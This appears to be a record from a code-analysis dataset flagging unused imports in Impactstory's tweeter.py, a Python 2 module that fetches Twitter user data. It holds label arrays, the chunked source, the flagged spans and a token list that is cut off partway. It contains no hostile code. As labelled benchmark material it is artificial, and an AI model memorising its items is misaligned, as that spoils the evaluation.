"return_", "encode", "\\u", "utf8_", "(_", "html_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Impactstory/total-impact-webapp/totalimpactwebapp/tweeter.py
[ { "content": "from totalimpactwebapp import json_sqlalchemy\nfrom util import commit\nfrom util import cached_property\nfrom util import dict_from_dir\nfrom totalimpactwebapp import db\nfrom birdy.twitter import AppClient, TwitterApiError, TwitterRateLimitError, TwitterClientError\n\nfrom collections import defaultdict\nimport os\nimport re\nimport datetime\nimport logging\nimport dateutil.parser\nlogger = logging.getLogger('ti.tweeter')\n\n# from https://github.com/inueni/birdy/issues/7\n# to overrride JSONObject\n\n\n\n\n\n\n# example payload from twitter: https://dev.twitter.com/rest/reference/get/users/lookup\n\n\n\n# example\n# [\n# {\n# \"name\": \"Twitter API\",\n# \"profile_sidebar_fill_color\": \"DDEEF6\",\n# \"profile_background_tile\": false,\n# \"profile_sidebar_border_color\": \"C0DEED\",\n# \"profile_image_url\": \"http://a0.twimg.com/profile_images/2284174872/7df3h38zabcvjylnyfe3_normal.png\",\n# \"location\": \"San Francisco, CA\",\n# \"created_at\": \"Wed May 23 06:01:13 +0000 2007\",\n# \"follow_request_sent\": false,\n# \"id_str\": \"6253282\",\n# \"profile_link_color\": \"0084B4\",\n# \"is_translator\": false,\n# \"default_profile\": true,\n# \"favourites_count\": 24,\n# \"contributors_enabled\": true,\n# \"url\": \"http://dev.twitter.com\",\n# \"profile_image_url_https\": \"https://si0.twimg.com/profile_images/2284174872/7df3h38zabcvjylnyfe3_normal.png\",\n# \"utc_offset\": -28800,\n# \"id\": 6253282,\n# \"profile_use_background_image\": true,\n# \"listed_count\": 10713,\n# \"profile_text_color\": \"333333\",\n# \"lang\": \"en\",\n# \"followers_count\": 1198334,\n# \"protected\": false,\n# \"profile_background_image_url_https\": \"https://si0.twimg.com/images/themes/theme1/bg.png\",\n# \"geo_enabled\": true,\n# \"description\": \"The Real Twitter API. I tweet about API changes, service issues and happily answer questions about Twitter and our API. Don't get an answer? It's on my website.\",\n# \"profile_background_color\": \"C0DEED\",\n# \"verified\": true,\n# \"notifications\": false,\n# \"time_zone\": \"Pacific Time (US & Canada)\",\n# \"statuses_count\": 3331,\n# \"status\": {\n# \"coordinates\": null,\n# \"created_at\": \"Fri Aug 24 16:15:49 +0000 2012\",\n# \"favorited\": false,\n# \"truncated\": false,\n# \"id_str\": \"239033279343382529\",\n# \"in_reply_to_user_id_str\": \"134727529\",\n# \"text\": \"@gregclermont no, there is not. ^TS\",\n# \"contributors\": null,\n# \"retweet_count\": 0,\n# \"id\": 239033279343382529,\n# \"in_reply_to_status_id_str\": \"238933943146131456\",\n# \"geo\": null,\n# \"retweeted\": false,\n# \"in_reply_to_user_id\": 134727529,\n# \"place\": null,\n# \"source\": \"<a href=\"//sites.google.com/site/yorufukurou/\\\"\" rel=\"\\\"nofollow\\\"\">YoruFukurou</a>\",\n# \"in_reply_to_screen_name\": \"gregclermont\",\n# \"in_reply_to_status_id\": 238933943146131456\n# },\n# \"profile_background_image_url\": \"http://a0.twimg.com/images/themes/theme1/bg.png\",\n# \"default_profile_image\": false,\n# \"friends_count\": 31,\n# \"screen_name\": \"twitterapi\",\n# \"following\": true,\n# \"show_all_inline_media\": false\n# },\n# {\n# \"name\": \"Twitter\",\n# \"profile_sidebar_fill_color\": \"F6F6F6\",\n# \"profile_background_tile\": true,\n# \"profile_sidebar_border_color\": \"EEEEEE\",\n# \"profile_image_url\": \"http://a0.twimg.com/profile_images/2284174758/v65oai7fxn47qv9nectx_normal.png\",\n# \"location\": \"San Francisco, CA\",\n# \"created_at\": \"Tue Feb 20 14:35:54 +0000 2007\",\n# \"follow_request_sent\": false,\n# \"id_str\": \"783214\",\n# \"profile_link_color\": \"038543\",\n# \"is_translator\": false,\n# \"default_profile\": false,\n# \"favourites_count\": 17,\n# \"contributors_enabled\": true,\n# \"url\": \"http://blog.twitter.com/\",\n# \"profile_image_url_https\": \"https://si0.twimg.com/profile_images/2284174758/v65oai7fxn47qv9nectx_normal.png\",\n# \"utc_offset\": -28800,\n# \"id\": 783214,\n# \"profile_banner_url\": \"https://si0.twimg.com/brand_banners/twitter/1323368512/live\",\n# \"profile_use_background_image\": true,\n# \"listed_count\": 72534,\n# \"profile_text_color\": \"333333\",\n# \"lang\": \"en\",\n# \"followers_count\": 12788713,\n# \"protected\": false,\n# \"profile_background_image_url_https\": \"https://si0.twimg.com/profile_background_images/378245879/Twitter_1544x2000.png\",\n# \"geo_enabled\": true,\n# \"description\": \"Always wondering what's happening. \",\n# \"profile_background_color\": \"ACDED6\",\n# \"verified\": true,\n# \"notifications\": false,\n# \"time_zone\": \"Pacific Time (US & Canada)\",\n# \"statuses_count\": 1379,\n# \"profile_background_image_url\": \"http://a0.twimg.com/profile_background_images/378245879/Twitter_1544x2000.png\",\n# \"default_profile_image\": false,\n# \"friends_count\": 1195,\n# \"screen_name\": \"twitter\",\n# \"following\": true,\n# \"show_all_inline_media\": true\n# }\n# ] ", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class AppDictClient(AppClient):", "metadata": "root.AppDictClient", "header": "['module', '___EOS___']", "index": 17 }, { "content": " @staticmethod\n def get_json_object_hook(data):\n return data", "metadata": "root.AppDictClient.get_json_object_hook", "header": "['class', 'AppDictClient', '(', 'AppClient', ')', ':', '___EOS___']", "index": 18 }, { "content": "def handle_all_user_lookups(user_dicts_from_twitter, tweeters):\n dicts_by_screen_name = defaultdict(str)\n for user_dict in user_dicts_from_twitter:\n dicts_by_screen_name[user_dict[\"screen_name\"].lower()] = user_dict\n\n i = 0\n for tweeter in tweeters:\n i += 1\n if tweeter.screen_name.lower() in dicts_by_screen_name.keys():\n user_dict = dicts_by_screen_name[tweeter.screen_name.lower()]\n tweeter.set_attributes_from_twitter_data(user_dict)\n # print i, \"updated tweeter\", tweeter, tweeter.last_collected_date\n else:\n tweeter.set_as_deleted()\n db.session.merge(tweeter)\n\n return True", "metadata": "root.handle_all_user_lookups", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def get_and_save_tweeter_followers(tweeters):\n\n client = AppDictClient(\n os.getenv(\"TWITTER_CONSUMER_KEY\"),\n os.getenv(\"TWITTER_CONSUMER_SECRET\"),\n access_token=os.getenv(\"TWITTER_ACCESS_TOKEN\")\n )\n\n logger.info(u\"Length of tweeters {num}\".format(\n num=len(tweeters)))\n\n # print \"length of tweeters\", len(tweeters)\n\n screen_names_string = \",\".join([tweeter.screen_name for tweeter in tweeters])\n print \", \".join([tweeter.screen_name for tweeter in tweeters])\n\n try:\n response = client.api.users.lookup.post(screen_name=screen_names_string)\n handle_all_user_lookups(response.data, tweeters)\n except TwitterApiError, e:\n logger.exception(\"TwitterApiError error, skipping\")\n except TwitterClientError, e:\n logger.exception(\"TwitterClientError error, skipping\")\n except TwitterRateLimitError, e:\n logger.exception(\"TwitterRateLimitError error, skipping\")\n # not totally sure what else I should do here. retry somehow, or catch on cleanup run?\n\n commit(db)\n\n return", "metadata": "root.get_and_save_tweeter_followers", "header": "['module', '___EOS___']", "index": 42 }, { "content": "class Tweeter(db.Model):\n screen_name = db.Column(db.Text, primary_key=True)\n twitter_id = db.Column(db.Integer) # alter table tweeter add twitter_id int4\n followers = db.Column(db.Integer)\n name = db.Column(db.Text)\n description = db.Column(db.Text)\n location = db.Column(db.Text) # alter table tweeter add location text\n image_url = db.Column(db.Text)\n profile_url = db.Column(db.Text) # alter table tweeter add profile_url text\n num_statuses = db.Column(db.Integer) # alter table tweeter add num_statuses int4\n num_follows = db.Column(db.Integer) # alter table tweeter add num_follows int4\n last_collected_date = db.Column(db.DateTime()) #alter table tweeter add last_collected_date timestamp\n is_deleted = db.Column(db.Boolean) # alter table tweeter add is_deleted bool\n\n\n\n\n\n\n", "metadata": "root.Tweeter", "header": "['module', '___EOS___']", "index": 76 }, { "content": " def __init__(self, **kwargs):\n if not \"last_collected_date\" in kwargs:\n self.last_collected_date = datetime.datetime.utcnow()\n super(Tweeter, self).__init__(**kwargs)", "metadata": "root.Tweeter.__init__", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 90 }, { "content": " @cached_property\n def display_image_url(self):\n if not self.image_url:\n return \"\"\n\n ret = self.image_url.replace(\"http://\", \"https://\")\n ret = ret.replace(\"_normal\", \"_reasonably_small\")\n return ret", "metadata": "root.Tweeter.display_image_url", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 95 }, { "content": " def set_attributes_from_altmetric_post(self, post):\n self.followers = post[\"author\"].get(\"followers\", 0)\n self.name = post[\"author\"].get(\"name\", self.screen_name)\n self.description = post[\"author\"].get(\"description\", \"\")\n self.image_url = post[\"author\"].get(\"image\", None)\n # don't update last_collected date, because altmetric data is from old tweet\n return self", "metadata": "root.Tweeter.set_attributes_from_altmetric_post", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 104 }, { "content": " def set_attributes_from_twitter_data(self, data):\n self.followers = data.get(\"followers_count\", 0)\n self.name = data.get(\"name\", self.screen_name)\n self.description = data.get(\"description\", \"\")\n self.image_url = data.get(\"profile_image_url\", None)\n self.profile_url = data.get(\"url\", None)\n self.location = data.get(\"location\", None)\n self.num_statuses = data.get(\"statuses_count\", None)\n self.num_follows = data.get(\"friends_count\", None)\n self.twitter_id = data.get(\"id\", None)\n self.last_collected_date = datetime.datetime.utcnow()\n return self", "metadata": "root.Tweeter.set_attributes_from_twitter_data", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 112 }, { "content": " def set_as_deleted(self):\n self.is_deleted = True\n self.last_collected_date = datetime.datetime.utcnow()\n return self", "metadata": "root.Tweeter.set_as_deleted", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 125 }, { "content": " def __repr__(self):\n return u'<Tweeter {screen_name} {followers}>'.format(\n screen_name=self.screen_name, \n followers=self.followers)", "metadata": "root.Tweeter.__repr__", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 130 }, { "content": " def to_dict(self):\n attributes_to_ignore = [\n \"tweet\"\n ]\n ret = dict_from_dir(self, attributes_to_ignore)\n return ret", "metadata": "root.Tweeter.to_dict", "header": "['class', 'Tweeter', '(', 'db', '.', 'Model', ')', ':', '___EOS___']", "index": 135 } ]
[ { "span": "from totalimpactwebapp import json_sqlalchemy", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 45 }, { "span": "import re", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 9 }, { "span": "import dateutil.parser", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 22 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "total", "impact", "webapp_", "import_", "json", "\\u", "sqlalchemy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "util_", "import_", "commit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "util_", "import_", "cache", "d\\u", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "util_", "import_", "dict", "\\u", "from", "\\u", "dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "total", "impact", "webapp_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bird", "y_", "._", "twitter_", "import_", "App", "Client_", ",_", "Twit", "ter", "Ap", "i", "Error_", ",_", "Twit", "ter", "Rat", "e", "Limit", "Error_", ",_", "Twit", "ter", "Client", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "collections_", "import_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "dateutil_", "._", "parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "ti", ".", "tweet", "er", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "https", "://", "git", "hub", ".", "com", "/", "inu", "eni", "/", "bird", "y", "/", "issue", "s", "/", "7_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "over", "rri", "de", " ", "JSO", "NO", "bject_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example", " ", "payload", " ", "from", " ", "twit", "ter", ":", " ", " ", "https", "://", "dev", ".", "twit", "ter", ".", "com", "/", "rest", "/", "reference", "/", "get", "/", "users", "/", "lookup_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "example_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "[_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "name", "\":", " ", "\"", "Twit", "ter", " ", "API", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "sidebar", "\\u", "fill", "\\u", "color", "\":", " ", "\"", "DD", "EE", "F6", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "tile", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "sidebar", "\\u", "border", "\\u", "color", "\":", " ", "\"", "C0", "DE", "ED", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "image", "\\u", "url", "\":", " ", "\"", "http", "://", "a0", ".", "twi", "mg", ".", "com", "/", "profile", "\\u", "images", "/", "228", "417", "487", "2", "/", "7d", "f3", "h", "3", "8", "zab", "cv", "jy", "ln", "yf", "e3", "\\u", "normal", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "location", "\":", " ", "\"", "San", " ", "Franc", "isco", ",", " ", "CA", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "created", "\\u", "at", "\":", " ", "\"", "We", "d", " ", "Ma", "y", " ", "23", " ", "0", "6", ":", "01", ":", "13", " ", "+0", "000", " ", "2007", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "follow", "\\u", "request", "\\u", "sent", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "id", "\\u", "str", "\":", " ", "\"", "625", "328", "2", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "link", "\\u", "color", "\":", " ", "\"", "008", "4", "B4", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "is", "\\u", "translator", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "default", "\\u", "profile", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "favourite", "s", "\\u", "count", "\":", " ", "24", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "contributor", "s", "\\u", "enable", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "url", "\":", " ", "\"", "http", "://", "dev", ".", "twit", "ter", ".", "com", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "image", "\\u", "url", "\\u", "https", "\":", " ", "\"", "https", "://", "si", "0.", "twi", "mg", ".", "com", "/", "profile", "\\u", "images", "/", "228", "417", "487", "2", "/", "7d", "f3", "h", "3", "8", "zab", "cv", "jy", "ln", "yf", "e3", "\\u", "normal", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "utc", "\\u", "offset", "\":", " ", "-", "288", "00", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "id", "\":", " ", "625", "328", "2", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "use", "\\u", "background", "\\u", "image", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "liste", "d\\u", "count", "\":", " ", "107", "13", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "text", "\\u", "color", "\":", " ", "\"", "33333", "3", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "lang", "\":", " ", "\"", "en", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "followers", "\\u", "count", "\":", " ", "119", "833", "4", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "protect", "ed", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "image", "\\u", "url", "\\u", "https", "\":", " ", "\"", "https", "://", "si", "0.", "twi", "mg", ".", "com", "/", "images", "/", "themes", "/", "them", "e1", "/", "bg", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "geo", "\\u", "enable", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "description", "\":", " ", "\"", "The", " ", "Real", " ", "Twit", "ter", " ", "API", ".", " ", "I", " ", "tweet", " ", "abo", "ut", " ", "API", " ", "change", "s", ",", " ", "service", " ", "issue", "s", " ", "and", " ", "happ", "il", "y", " ", "answer", " ", "question", "s", " ", "abo", "ut", " ", "Twit", "ter", " ", "and", " ", "our", " ", "API", ".", " ", "Don", "'", "t", " ", "get", " ", "an", " ", "answer", "?", " ", "It", "'", "s", " ", "on", " ", "my", " ", "webs", "ite", ".\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "color", "\":", " ", "\"", "C0", "DE", "ED", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "verifie", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "notification", "s", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "time", "\\u", "zone", "\":", " ", "\"", "Pac", "ifi", "c", " ", "Time", " ", "(", "US", " ", "&", " ", "Cana", "da", ")\"", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "status", "es", "\\u", "count", "\":", " ", "333", "1", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "status", "\":", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "coordinate", "s", "\":", " ", "null", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "created", "\\u", "at", "\":", " ", "\"", "Fri", " ", "Au", "g", " ", "24", " ", "16", ":", "15", ":", "4", "9", " ", "+0", "000", " ", "2012", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "favorite", "d", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "truncat", "ed", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "id", "\\u", "str", "\":", " ", "\"", "239", "033", "279", "343", "382", "529", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "in", "\\u", "repl", "y", "\\u", "to", "\\u", "user", "\\u", "id", "\\u", "str", "\":", " ", "\"", "134", "727", "529", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "text", "\":", " ", "\"@", "greg", "cle", "rmo", "nt", " ", "no", ",", " ", "there", " ", "is", " ", "not", ".", " ", "^", "TS", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "contributor", "s", "\":", " ", "null", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "retweet", "\\u", "count", "\":", " ", "0", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "id", "\":", " ", "239", "033", "279", "343", "382", "529", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "in", "\\u", "repl", "y", "\\u", "to", "\\u", "status", "\\u", "id", "\\u", "str", "\":", " ", "\"", "238", "933", "943", "146", "131", "456", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "geo", "\":", " ", "null", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "retweet", "ed", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "in", "\\u", "repl", "y", "\\u", "to", "\\u", "user", "\\u", "id", "\":", " ", "134", "727", "529", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "place", "\":", " ", "null", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "source", "\":", " ", "\"<", "a", " ", "href", "=\"", "//", "sites", ".", "google", ".", "com", "/", "site", "/", "yor", "uf", "uk", "uro", "u", "/\\\\", "\"\"", " ", "rel", "=\"\\\\", "\"", "nofo", "llow", "\\\\\"", "\">", "Yo", "ru", "Fu", "kur", "ou", "</", "a", ">\"", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "in", "\\u", "repl", "y", "\\u", "to", "\\u", "screen", "\\u", "name", "\":", " ", "\"", "greg", "cle", "rmo", "nt", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "in", "\\u", "repl", "y", "\\u", "to", "\\u", "status", "\\u", "id", "\":", " ", "238", "933", "943", "146", "131", "456_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "},", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "image", "\\u", "url", "\":", " ", "\"", "http", "://", "a0", ".", "twi", "mg", ".", "com", "/", "images", "/", "themes", "/", "them", "e1", "/", "bg", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "default", "\\u", "profile", "\\u", "image", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "friends", "\\u", "count", "\":", " ", "3", "1", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "screen", "\\u", "name", "\":", " ", "\"", "twit", "tera", "pi", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "follow", "ing", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "show", "\\u", "all", "\\u", "inline", "\\u", "media", "\":", " ", "false_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "},", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "name", "\":", " ", "\"", "Twit", "ter", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "sidebar", "\\u", "fill", "\\u", "color", "\":", " ", "\"", "F6", "F6", "F6", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "tile", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "sidebar", "\\u", "border", "\\u", "color", "\":", " ", "\"", "EEE", "EEE", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "image", "\\u", "url", "\":", " ", "\"", "http", "://", "a0", ".", "twi", "mg", ".", "com", "/", "profile", "\\u", "images", "/", "228", "417", "475", "8", "/", "v6", "5", "oai", "7f", "xn", "4", "7", "qv", "9", "nect", "x", "\\u", "normal", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "location", "\":", " ", "\"", "San", " ", "Franc", "isco", ",", " ", "CA", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "created", "\\u", "at", "\":", " ", "\"", "Tu", "e", " ", "Fe", "b", " ", "20", " ", "14", ":", "3", "5", ":", "5", "4", " ", "+0", "000", " ", "2007", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "follow", "\\u", "request", "\\u", "sent", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "id", "\\u", "str", "\":", " ", "\"", "783", "214", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "link", "\\u", "color", "\":", " ", "\"", "038", "543", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "is", "\\u", "translator", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "default", "\\u", "profile", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "favourite", "s", "\\u", "count", "\":", " ", "1", "7", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "contributor", "s", "\\u", "enable", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "url", "\":", " ", "\"", "http", "://", "blog", ".", "twit", "ter", ".", "com", "/\"", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "image", "\\u", "url", "\\u", "https", "\":", " ", "\"", "https", "://", "si", "0.", "twi", "mg", ".", "com", "/", "profile", "\\u", "images", "/", "228", "417", "475", "8", "/", "v6", "5", "oai", "7f", "xn", "4", "7", "qv", "9", "nect", "x", "\\u", "normal", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "utc", "\\u", "offset", "\":", " ", "-", "288", "00", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "id", "\":", " ", "783", "214", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "banner", "\\u", "url", "\":", " ", "\"", "https", "://", "si", "0.", "twi", "mg", ".", "com", "/", "brand", "\\u", "banner", "s", "/", "twit", "ter", "/", "132", "336", "851", "2", "/", "live", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "use", "\\u", "background", "\\u", "image", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "liste", "d\\u", "count", "\":", " ", "725", "3", "4", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "text", "\\u", "color", "\":", " ", "\"", "33333", "3", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "lang", "\":", " ", "\"", "en", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "followers", "\\u", "count", "\":", " ", "127", "887", "13", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "protect", "ed", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "image", "\\u", "url", "\\u", "https", "\":", " ", "\"", "https", "://", "si", "0.", "twi", "mg", ".", "com", "/", "profile", "\\u", "background", "\\u", "images", "/", "378", "245", "879", "/", "Twit", "ter", "\\u", "154", "4", "x2", "000", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "geo", "\\u", "enable", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "description", "\":", " ", "\"", "Al", "way", "s", " ", "won", "der", "ing", " ", "what", "'", "s", " ", "happ", "eni", "ng", ".", " ", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", 